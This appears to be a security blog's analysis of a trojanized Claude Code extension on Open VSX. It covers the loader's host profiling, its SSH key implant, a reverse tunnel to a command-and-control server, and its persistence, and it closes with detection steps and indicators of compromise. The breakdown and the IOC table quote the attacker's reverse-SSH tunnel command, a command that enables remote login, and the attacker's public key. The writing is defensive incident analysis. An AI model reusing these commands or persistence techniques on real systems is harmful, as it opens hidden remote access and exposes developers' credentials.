Supply-chain attacks these days are generally in the following categories – cryptographic bypasses, zero-days, memory corruption. Most real breaches are simpler. They abuse authority the victim already handed over. Developer tools are a good example. They sit next to source repositories, cloud credentials, local environments, and production access, and the extensions that run inside them inherit much of that reach. That makes them an attractive place to hide.
In late October 2026, researcher Paul McCarty (6mile, OpenSourceMalware) found a malicious build of the Claude Code extension on the Open VSX registry. The package was anthropic.claude-code version 2.1.313. It looked like the normal AI coding assistant, but it quietly turned the developer’s machine into a remotely reachable SSH host. Everything below is a breakdown of how that works and what to do about it.
What happened: a trojanized Claude Code 2.1.313 on Open VSX
The change to the package was small. The unpacked archive kept its expected layout, its bundled application code, and its usual webview assets. The attacker prepended a compact 66-line loader to extension.js, the main entry point the editor’s runtime executes, and left the rest alone.
The loader is wrapped as an Immediately Invoked Function Expression, so it runs synchronously before any of the legitimate extension code initializes. The victim never has to open a Claude conversation or run a command. Launching the editor and letting the extension host activate the extension is enough to start the chain.
Why standard scanners miss it: no lifecycle scripts
The manifest declares no preinstall, postinstall, or prepare scripts. Scanners that flag suspicious install hooks in package metadata have nothing to flag. The malicious behavior lives in ordinary JavaScript in the extension’s main file, which executes inside a Node.js extension host with unrestricted access to the filesystem, the OS APIs, and the network stack.
That is the practical lesson for anyone building registry or endpoint detections: static manifest analysis covers only the part of an extension the attacker chose not to touch.
Host profiling: what the loader collects first
The IIFE imports standard Node.js modules (process, fs, os, http, and crypto) and starts profiling the machine. It collects:
- the hostname, local username, OS architecture, and home directory
- the global Git email, read with
git config --global user.email - the names of up to forty environment variables containing strings such as
KEY,TOKEN,SECRET,PASS,AWS, orGCP
The loader sends the variable names and leaves the values out. That choice tells the attacker which cloud providers, CI/CD systems, and credential classes exist on the host, without the outbound volume or content patterns that data loss prevention tooling is built to catch. The values themselves are left for later, to be read from inside the interactive SSH session.
Error suppression: how the malware stays invisible
Nearly every filesystem and network operation in the loader sits inside a broad exception handler. A developer workstation is an unpredictable target. ~/.ssh may not exist, service-management commands may need privileges the process lacks, and egress may be filtered. If the loader threw on any of those, the legitimate extension would fail to load and the user would notice a broken tool.
With everything swallowed, a failed attempt to enable an SSH daemon or write a persistence file changes nothing visible. The real extension keeps initializing and rendering its UI as usual. This is deliberate engineering to keep a partial infection quiet, and it also means a “working” extension tells you nothing about whether the machine was touched.
📬 Stay Ahead of Cyber Threats
Get the latest cybersecurity news, critical vulnerabilities, threat intelligence, tutorials, and exclusive giveaways delivered straight to your inbox. No spam. Unsubscribe anytime.
Subscribe to the Newsletter →SSH persistence: the authorized_keys implant
When the loader resolves a home directory, it creates ~/.ssh with 0700 permissions and appends an Ed25519 public key to ~/.ssh/authorized_keys, then sets the file to 0600 so a strict SSH daemon will accept it. The key carries the comment svc-telemetry, a label picked to look like an automated service account during a quick manual review.
ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIDdvylCEJ/k2TpezcTfedrkHyFSK9IZ3vmP6vhY4Ss0P svc-telemetry
Its SHA-256 fingerprint is 0Z6R+DF64Do2nwQic8a7kkfDLNNk4IiK+2U2Rci4htk.
This technique is hard to spot from process telemetry. It opens no listening port, runs no new background process, and modifies no binary. It adds one more way to authenticate. Because it lives in a file and not in a credential, it survives password resets and credential rotation. As long as the line stays in authorized_keys and the attacker holds the private key, the access remains.
The reverse SSH tunnel: getting past NAT and firewalls
Developer machines often sit behind NAT or a corporate firewall that blocks inbound port 22, so a planted key alone would not be reachable. The loader solves that by making the victim connect outward.
First it tries to enable the local SSH service without prompting for privileges:
- macOS:
sudo -n systemsetup -setremotelogin on. The-nflag makes sudo fail immediately instead of asking for a password the background process cannot supply. - Linux: it probes for
sshdorsshservices throughsystemctl. - Windows: it uses PowerShell to install and configure the OpenSSH Server capability.
At the same time it decodes a base64-encoded OpenSSH private key embedded in the JavaScript bundle and writes it to a temporary file named .stk_<identifier> in the system temp directory. The key’s SHA-256 hash is 7e0a52885fadee05544a9e99eb18c792bec05900a5e1a66d68f8383decb0e278. It authenticates an outbound connection to the command-and-control server at 134.209.82.225.
The tunnel command is:
ssh -N -R '*:0:localhost:22' [email protected]
Each part matters:
-Ntells the client not to run a remote command, so the connection exists only to forward ports.-Rrequests remote forwarding: a listener opens on the C2 server and traffic arriving there is carried back through the tunnel.*asks for the listener to bind on all interfaces, which the C2 server’sGatewayPortssetting has to allow.0asks the remote SSH daemon to pick a free port dynamically.localhost:22is the destination, meaning the victim’s own SSH daemon.
The result is that the attacker connects to a port on their own server and lands in the victim’s SSH daemon, through a channel the victim’s firewall already allowed. The connection disables host-key verification and ignores the user’s known_hosts, so no warning interrupts the automated loop, and it uses autossh where it is installed to keep the tunnel alive through network drops.
Persistence on macOS, Linux, and Windows
Every mechanism runs in the user’s own security context, so none of them needs root or administrator rights.
On macOS, the loader writes ~/Library/LaunchAgents/com.apple.sysmond.plist. The com.apple.* reverse-DNS name is meant to make a developer browsing the LaunchAgents folder assume it is part of the OS. The plist uses RunAtLoad and KeepAlive, so the .smt shell script, which rebuilds the private key and reopens the tunnel, starts at login and gets restarted by launchd if it dies.
On Linux, the same .smt and .smtk files go into ~/.config, and an @reboot entry in the user’s crontab launches them.
On Windows, it creates a scheduled task named SysMon that runs at startup. If task creation fails for lack of privileges, it falls back to copying a sysmon.cmd script into the user’s Startup folder.
The beacon, and why the tunnel is the payload
After a 1.5-second delay the loader sends one reconnaissance beacon. It queries public IP services (ifconfig.me and api.ipify.org) to learn the network’s external address, then packs that together with the host details and environment variable names into JSON. The JSON goes over plain HTTP to port 8099, on both 127.0.0.1 and the C2 server at 134.209.82.225. The response is read and discarded.
There is no second-stage download, no dynamic configuration, and no command channel in the injected code. The SSH tunnel is the payload. Once the attacker has an authenticated shell, they can run commands, move files, and pivot into internal networks using ordinary SSH traffic, with no custom remote administration tool for a scanner or file-integrity monitor to find.

How the package reached Open VSX
Open VSX is the Eclipse Foundation-backed registry that serves as the default extension source for VS Code forks such as Cursor, Windsurf, and VSCodium. Those forks are barred by licensing from using Microsoft’s official Marketplace. Open VSX’s publication pipeline has historically relied on asynchronous namespace-matching checks and malware scanning after publication, not on a synchronous sandbox gate before it.
Here, the malicious version was published under the anthropic.claude-code namespace, which was legitimately owned by an Anthropic employee. How the attacker got publishing rights is still under investigation. A hijacked maintainer account, a compromised CI/CD pipeline, and a stolen publication token are all possible. The architectural point holds regardless of which it was: when checks run after publication, a malicious version can be served to downstream users immediately, and quarantine only starts once a scanner or a namespace check catches it.
The presence of the artifact on Open VSX does not by itself show that Anthropic’s core infrastructure or Microsoft’s official VS Code Marketplace was breached. Threat reports were filed for the corresponding Marketplace identity as a precaution.
How to detect the Claude Code backdoor
Antivirus is a poor fit here, because the malicious pieces rely on native OS utilities and the stock SSH client. Detection has to focus on files, processes, and network behavior.
Files and keys
- Monitor
~/.ssh/authorized_keysfor new Ed25519 keys. Search for thesvc-telemetrycomment and for the fingerprint above.ssh-keygen -lf ~/.ssh/authorized_keysprints fingerprints so you can compare against the IOC. - Look for
.stk_*files in the system temp directory. - On macOS, audit
~/Library/LaunchAgents/forcom.apple.sysmond.plistand inspect~/.config/.smt. - On Linux, check
~/.config/.smtand~/.config/.smtk, and review user crontabs withcrontab -lfor unexpected@rebootentries. - On Windows, look for a scheduled task named
SysMonand asysmon.cmdfile in the Startup folder.
Processes and network
- Tune EDR to flag outbound SSH connections from editor processes such as
code.exe,cursor.exe, ornodeinstances tied to the extension host, especially anything using-R *:0:localhost:22. - Block and alert on traffic to
134.209.82.225on port 22 and port 8099. - Watch for HTTP requests to
127.0.0.1:8099/beacon,ifconfig.me, andapi.ipify.orgcoming from IDE processes.
Treat it as a full host compromise
If an endpoint loaded the malicious extension.js, handle it as a compromised host, not a malware infection you can clean up. Uninstalling the extension or deleting the known files does not end the access, because the authorized_keys entry and the reverse tunnel run independently of the editor.
- Isolate the machine from the network to cut any active tunnel and limit lateral movement.
- Preserve forensic evidence first: SSH daemon logs, process execution history, and network flow records. These show what the attacker did during any interactive session.
- Assume every credential reachable from that user account is exposed. That covers source control tokens, cloud API keys, SSH identities for downstream servers, and CI/CD secrets. Rotate them from a known-clean environment.
- Rebuild the host from a trusted, immutable image. It is the only reliable way to be sure the backdoor is gone.
Hardening the developer toolchain
The editor is part of your attack surface, and the extensions in it deserve the same scrutiny as the packages in your build. Some practical steps follow from this incident:
- Keep an approved extension list and pin versions, and do not let auto-update pull new releases onto machines with production access.
- Restrict egress from developer workstations so outbound SSH to arbitrary hosts is not allowed by default.
- Alert on changes to
authorized_keysas you would on a new admin account. - If your team uses VS Code forks that rely on Open VSX, remember that its checks happen after publication and plan for that gap.
AI coding agents with deep filesystem and network access raise the stakes. Publisher branding and download counts are weak trust signals. Artifact integrity, strict namespace ownership, and monitoring of the execution contexts that run developer tooling are the signals that hold up.
Indicators of compromise (IOCs)
| Type | Indicator |
|---|---|
| Package | anthropic.claude-code 2.1.313 (Open VSX) |
| C2 IPv4 | 134.209.82.225 (SSH on 22, HTTP beacon on 8099) |
| Beacon URL | 127.0.0.1:8099/beacon |
| IP lookup services | ifconfig.me, api.ipify.org |
| SSH public key | AAAAC3NzaC1lZDI1NTE5AAAAIDdvylCEJ/k2TpezcTfedrkHyFSK9IZ3vmP6vhY4Ss0P (comment svc-telemetry) |
| Public key SHA-256 fingerprint | 0Z6R+DF64Do2nwQic8a7kkfDLNNk4IiK+2U2Rci4htk |
| Embedded private key SHA-256 | 7e0a52885fadee05544a9e99eb18c792bec05900a5e1a66d68f8383decb0e278 |
Malicious extension.js SHA-256 | ecb58cb29078d9646ad1dcdbe51526f2d9cfea06be5fb2ab183e8ecc3ab6bf15 |
| Directory digest (SHA-256) | 18756b75afedee74bbf49832a1b1dada4961672c41d595be5c1bbe75709de927 |
| macOS persistence | ~/Library/LaunchAgents/com.apple.sysmond.plist, ~/.config/.smt, ~/.config/.smtk |
| Linux persistence | ~/.config/.smt, ~/.config/.smtk, @reboot crontab entry |
| Windows persistence | Scheduled task SysMon, sysmon.cmd in the Startup folder |
| Temp artifact | .stk_<identifier> in the system temp directory |
| Tunnel command | ssh -N -R '*:0:localhost:22' [email protected] |
Frequently asked questions
Which Claude Code version was malicious?
Version 2.1.313 of anthropic.claude-code, published to the Open VSX registry.
Does this mean Anthropic or the VS Code Marketplace was breached?
No. The artifact was confirmed on Open VSX only. How the publisher access was obtained is still under investigation.
Do I need to open Claude Code for the backdoor to run?
No. The loader executes when the extension host activates the extension, before the legitimate code starts.
Is uninstalling the extension enough?
No. The authorized_keys entry and the reverse tunnel keep working after removal, so the host should be isolated, credentials rotated, and the system rebuilt from a trusted image.
What should I search for first?
Check ~/.ssh/authorized_keys for the svc-telemetry key or its fingerprint, then look for outbound connections to 134.209.82.225.









